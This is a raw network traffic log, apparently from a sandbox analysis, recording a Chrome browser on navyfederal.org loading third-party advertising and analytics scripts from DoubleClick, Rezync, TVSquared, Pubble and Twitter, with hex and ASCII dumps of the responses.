Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	1156	OUT	GET /activityi;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	1143	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:58 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Strict-Transport-Security: max-age=21600 Location: https://9749892.fls.doubleclick.net/activityi;dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49851	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	691	OUT	GET /sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID=navy-federal-credit-union&cache_buster={cache_buster} HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	815	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 2884 Connection: close Date: Fri, 24 May 2024 22:45:58 GMT Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:45:58 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYpg.W9lPCe2bjG1r2q4j1B4-e8waITE; Expires=Wed, 18 Jun 2025 22:45:58 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Accept-Ranges: bytes Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 650363fa7465273dd14fde086a851a86.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: NtIJ8STfZqZ5e45TmXkG_H3wO32N8Kq5PWauex9NR5m0AOmvycpWrQ==
2024-05-24 22:45:58 UTC	2884	IN	Data Raw: 28 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 0a 76 61 72 20 72 61 6e 67 65 4f 62 6a 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 52 61 6e 67 65 28 29 3b 20 76 61 72 20 64 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 20 3d 20 72 61 6e 67 65 4f 62 6a 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 75 61 6c 46 72 61 67 6d 65 6e 74 20 28 27 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 5c 6e 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6c 69 5f 63 61 6c 6c 28 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 76 61 72 20 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 5c 6e 20 20 20 20 20 20 20 20 63 61 63 68 65 5f 62 75 73 74 65 72 20 Data Ascii: (async function () {var rangeObj = document.createRange(); var documentFragment = rangeObj.createContextualFragment ('<script async type="text/javascript">\n function li_call() {\n var l = document.createElement("img");\n cache_buster

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49859	142.250.184.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	1165	OUT	GET /activityi;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: 2992003.fls.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	1152	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:58 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Strict-Transport-Security: max-age=21600 Location: https://2992003.fls.doubleclick.net/activityi;dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49855	52.14.63.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	543	OUT	GET /tv2track.js HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	333	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: max-age=600 Content-Type: application/javascript Date: Fri, 24 May 2024 22:45:58 GMT ETag: "65cf3449-5152" Expires: Fri, 24 May 2024 22:55:58 GMT Last-Modified: Fri, 16 Feb 2024 10:09:13 GMT Server: nginx X-Robots-Tag: noindex Content-Length: 20818 Connection: Close
2024-05-24 22:45:58 UTC	16051	IN	Data Raw: 2f 2a 21 0a 20 2a 20 50 69 77 69 6b 20 2d 20 57 65 62 20 41 6e 61 6c 79 74 69 63 73 0a 20 2a 0a 20 2a 20 4a 61 76 61 53 63 72 69 70 74 20 74 72 61 63 6b 69 6e 67 20 63 6c 69 65 6e 74 0a 20 2a 0a 20 2a 20 40 6c 69 6e 6b 20 68 74 74 70 3a 2f 2f 70 69 77 69 6b 2e 6f 72 67 0a 20 2a 20 40 73 6f 75 72 63 65 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 70 69 77 69 6b 2f 70 69 77 69 6b 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 6a 73 2f 70 69 77 69 6b 2e 6a 73 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 68 74 74 70 3a 2f 2f 70 69 77 69 6b 2e 6f 72 67 2f 66 72 65 65 2d 73 6f 66 74 77 61 72 65 2f 62 73 64 2f 20 53 69 6d 70 6c 69 66 69 65 64 20 42 53 44 20 28 61 6c 73 6f 20 69 6e 20 6a 73 2f 4c 49 43 45 4e 53 45 2e 74 78 74 29 0a 20 2a 2f 0a 69 66 28 74 79 70 Data Ascii: /! Piwik - Web Analytics * * JavaScript tracking client * * @link http://piwik.org * @source https://github.com/piwik/piwik/blob/master/js/piwik.js * @license http://piwik.org/free-software/bsd/ Simplified BSD (also in js/LICENSE.txt) */if(typ
2024-05-24 22:45:58 UTC	4767	IN	Data Raw: 6e 20 62 66 28 29 7b 76 61 72 20 62 6e 2c 62 6f 2c 62 70 3d 7b 70 64 66 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 70 64 66 22 2c 71 74 3a 22 76 69 64 65 6f 2f 71 75 69 63 6b 74 69 6d 65 22 2c 72 65 61 6c 70 3a 22 61 75 64 69 6f 2f 78 2d 70 6e 2d 72 65 61 6c 61 75 64 69 6f 2d 70 6c 75 67 69 6e 22 2c 77 6d 61 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 70 6c 61 79 65 72 32 22 2c 64 69 72 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 64 69 72 65 63 74 6f 72 22 2c 66 6c 61 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 2c 6a 61 76 61 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 2d 76 6d 22 2c 67 65 61 72 73 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 67 6f 6f 67 6c 65 67 65 61 72 73 Data Ascii: n bf(){var bn,bo,bp={pdf:"application/pdf",qt:"video/quicktime",realp:"audio/x-pn-realaudio-plugin",wma:"application/x-mplayer2",dir:"application/x-director",fla:"application/x-shockwave-flash",java:"application/x-java-vm",gears:"application/x-googlegears

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49858	13.32.27.111	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	523	OUT	GET /r/2779.js HTTP/1.1 Host: cdn.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:59 UTC	588	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 34390 Connection: close Date: Fri, 24 May 2024 22:45:59 GMT Last-Modified: Thu, 14 Sep 2023 04:58:26 GMT ETag: "0b0c9f48ccc8028aee896d26306ac124" x-amz-server-side-encryption: AES256 x-amz-version-id: 4KbOd9RZhXCGmEaaxmmMX..JuF8bzO0v Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 3acba66e95e31977aee0842f44a6f08e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-C2 X-Amz-Cf-Id: FIjltd80vGY_0HNSD5D42RLrULg3OABKMQq-gI3TguDD7ggv_pqNHw== Vary: Origin
2024-05-24 22:45:59 UTC	15448	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 70 70 20 3d 20 77 69 6e 64 6f 77 2e 5f 70 70 20 7c 7c 20 5b 5d 3b 5f 70 70 2e 73 65 67 6d 65 6e 74 73 3d 5b 7b 22 72 65 67 65 78 22 3a 22 64 69 67 69 74 61 6c 2d 6d 65 6d 62 65 72 73 68 69 70 2e 2a 2f 73 74 65 70 2f 65 6c 69 67 69 62 69 6c 69 74 79 2d 73 75 63 63 65 73 73 22 2c 22 69 64 22 3a 38 31 37 31 32 35 7d 2c 7b 22 72 65 67 65 78 22 3a 22 64 69 67 69 74 61 6c 2d 6d 65 6d 62 65 72 73 68 69 70 2e 2a 2f 73 74 65 70 2f 61 70 70 6c 69 63 61 74 69 6f 6e 2d 64 65 6e 69 65 64 22 2c 22 69 64 22 3a 38 31 37 31 32 36 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 73 70 6f 6e 73 6f 72 2d 73 73 6e 2d 64 6f 62 22 2c 22 69 64 22 3a 38 31 37 31 32 37 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 6c 6f 61 6e 73 2d 63 61 72 64 73 2f 6d 6f 72 74 67 61 67 65 Data Ascii: window._pp = window._pp \|\| [];_pp.segments=[{"regex":"digital-membership./step/eligibility-success","id":817125},{"regex":"digital-membership./step/application-denied","id":817126},{"regex":"/sponsor-ssn-dob","id":817127},{"regex":"/loans-cards/mortgage
2024-05-24 22:45:59 UTC	1499	IN	Data Raw: 22 72 65 67 65 78 22 3a 22 2f 6c 6f 61 6e 73 2d 63 61 72 64 73 2f 6d 6f 72 74 67 61 67 65 22 2c 22 69 64 22 3a 38 31 35 32 30 31 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 6c 6f 61 6e 73 2d 63 61 72 64 73 2f 6d 6f 72 74 67 61 67 65 2f 72 65 61 6c 2d 65 73 74 61 74 65 2d 61 67 65 6e 74 73 22 2c 22 69 64 22 3a 38 31 35 32 32 33 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 6c 6f 61 6e 73 2d 63 61 72 64 73 2f 6d 6f 72 74 67 61 67 65 2f 68 6f 6d 65 2d 62 75 69 6c 64 65 72 73 22 2c 22 69 64 22 3a 38 31 35 32 32 34 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 6c 6f 61 6e 73 2d 63 61 72 64 73 2f 6d 6f 72 74 67 61 67 65 2f 68 61 66 61 2d 6d 61 74 72 69 78 22 2c 22 69 64 22 3a 38 31 35 32 32 35 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 6c 6f 61 6e 73 2d 63 61 72 64 73 2f 6d 6f 72 74 Data Ascii: "regex":"/loans-cards/mortgage","id":815201},{"regex":"/loans-cards/mortgage/real-estate-agents","id":815223},{"regex":"/loans-cards/mortgage/home-builders","id":815224},{"regex":"/loans-cards/mortgage/hafa-matrix","id":815225},{"regex":"/loans-cards/mort
2024-05-24 22:45:59 UTC	16384	IN	Data Raw: 2f 6c 6f 61 6e 73 2d 63 61 72 64 73 2f 6d 6f 72 74 67 61 67 65 2f 72 65 66 69 6e 61 6e 63 69 6e 67 22 2c 22 69 64 22 3a 38 31 35 32 32 36 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 6c 6f 61 6e 73 2d 63 61 72 64 73 2f 65 71 75 69 74 79 22 2c 22 69 64 22 3a 38 31 35 32 36 38 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 63 68 65 63 6b 69 6e 67 2d 73 61 76 69 6e 67 73 22 2c 22 69 64 22 3a 38 31 35 33 31 37 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 73 65 72 76 69 63 65 73 22 2c 22 69 64 22 3a 38 31 35 33 37 35 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 6d 61 6b 69 6e 67 63 65 6e 74 73 22 2c 22 69 64 22 3a 38 31 35 34 33 34 7d 2c 7b 22 72 65 67 65 78 22 3a 22 2f 2e 2a 22 2c 22 69 64 22 3a 38 30 37 33 35 31 7d 5d 3b 5f 70 70 2e 63 6f 6e 76 65 72 73 69 6f 6e 73 3d 5b 7b 22 72 65 Data Ascii: /loans-cards/mortgage/refinancing","id":815226},{"regex":"/loans-cards/equity","id":815268},{"regex":"/checking-savings","id":815317},{"regex":"/services","id":815375},{"regex":"/makingcents","id":815434},{"regex":"/.*","id":807351}];_pp.conversions=[{"re
2024-05-24 22:45:59 UTC	1059	IN	Data Raw: 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 29 66 6f 72 28 76 61 72 20 6e 3d 31 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 5b 6e 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 73 2e 70 75 73 68 28 6e 65 77 20 68 28 65 2c 74 29 29 2c 31 21 3d 3d 73 2e 6c 65 6e 67 74 68 7c 7c 66 7c 7c 75 28 70 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 72 75 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 66 75 6e 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 68 69 73 2e 61 72 72 61 79 29 7d 2c 6f 2e 74 69 74 6c 65 3d 22 62 72 6f 77 73 65 72 22 2c 6f 2e 62 72 6f 77 73 65 72 3d 21 30 2c 6f 2e 65 6e 76 3d 7b 7d 2c 6f 2e 61 72 67 76 3d 5b 5d 2c 6f 2e 76 65 72 73 69 6f 6e 3d 22 22 2c 6f 2e 76 65 72 73 69 6f 6e 73 3d 7b 7d 2c 6f 2e 6f 6e 3d 6d 2c 6f Data Ascii: nts.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];s.push(new h(e,t)),1!==s.length\|\|f\|\|u(p)},h.prototype.run=function(){this.fun.apply(null,this.array)},o.title="browser",o.browser=!0,o.env={},o.argv=[],o.version="",o.versions={},o.on=m,o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49849	146.75.120.157	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	531	OUT	GET /uwt.js HTTP/1.1 Host: static.ads-twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	543	IN	HTTP/1.1 200 OK Connection: close Content-Length: 57671 Last-Modified: Thu, 04 Apr 2024 00:26:35 GMT ETag: "bbbcf811d8437a575d796a4c1e5d4fad" x-amz-server-side-encryption: AES256 Cache-Control: no-cache Content-Type: application/javascript; charset=utf-8 Accept-Ranges: bytes Date: Fri, 24 May 2024 22:45:58 GMT X-Served-By: cache-iad-kcgs7200164-IAD, cache-fra-etou8220088-FRA X-Cache: HIT, HIT Vary: Accept-Encoding,Host P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" x-tw-cdn: FT
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 36 31 37 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3b 74 2e 65 78 70 6f 72 74 73 3d 28 72 3d 72 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 26 26 28 72 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2e 63 72 79 70 74 6f 26 26 28 72 3d 73 65 6c 66 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 26 26 28 72 3d Data Ascii: !function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 68 69 73 2e 77 6f 72 64 73 3d 74 7c 7c 5b 5d 2c 74 68 69 73 2e 73 69 67 42 79 74 65 73 3d 6e 75 6c 6c 21 3d 65 3f 65 3a 34 2a 74 2e 6c 65 6e 67 74 68 7d 2c 74 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 7c 7c 66 29 2e 73 74 72 69 6e 67 69 66 79 28 74 68 69 73 29 7d 2c 63 6f 6e 63 61 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 77 6f 72 64 73 2c 6e 3d 74 2e 77 6f 72 64 73 2c 72 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 2c 69 3d 74 2e 73 69 67 42 79 74 65 73 3b 69 66 28 74 68 69 73 2e 63 6c 61 6d 70 28 29 2c 72 25 34 29 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 69 3b 6f 2b 2b 29 7b 76 61 72 20 61 3d 6e 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 72 2b 6f 3e Data Ascii: his.words=t\|\|[],this.sigBytes=null!=e?e:4t.length},toString:function(t){return(t\|\|f).stringify(this)},concat:function(t){var e=this.words,n=t.words,r=this.sigBytes,i=t.sigBytes;if(this.clamp(),r%4)for(var o=0;o<i;o++){var a=n[o>>>2]>>>24-o%48&255;e[r+o>
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 2e 70 61 72 73 65 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 7d 2c 70 3d 63 2e 42 75 66 66 65 72 65 64 42 6c 6f 63 6b 41 6c 67 6f 72 69 74 68 6d 3d 75 2e 65 78 74 65 6e 64 28 7b 72 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 64 61 74 61 3d 6e 65 77 20 73 2e 69 6e 69 74 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 3d 30 7d 2c 5f 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 68 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 Data Ascii: n(t){return d.parse(unescape(encodeURIComponent(t)))}},p=c.BufferedBlockAlgorithm=u.extend({reset:function(){this._data=new s.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=h.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes
2024-05-24 22:45:58 UTC	1379	IN	Data Raw: 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 65 28 72 29 26 26 28 69 3c 38 26 26 28 63 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 75 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 31 2f 33 29 29 2c 69 2b 2b 29 2c 72 2b 2b 7d 28 29 3b 76 61 72 20 73 3d 5b 5d 2c 6c 3d 61 2e 53 48 41 32 35 36 3d 6f 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 69 2e 69 6e 69 74 28 63 2e 73 6c 69 63 65 28 30 29 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 72 3d 6e 5b 30 5d 2c 69 3d 6e 5b 31 5d 2c 6f 3d 6e 5b 32 5d 2c 61 3d 6e 5b 33 5d 2c 63 Data Ascii: ar r=2,i=0;i<64;)e(r)&&(i<8&&(c[i]=n(t.pow(r,.5))),u[i]=n(t.pow(r,1/3)),i++),r++}();var s=[],l=a.SHA256=o.extend({_doReset:function(){this._hash=new i.init(c.slice(0))},_doProcessBlock:function(t,e){for(var n=this._hash.words,r=n[0],i=n[1],o=n[2],a=n[3],c
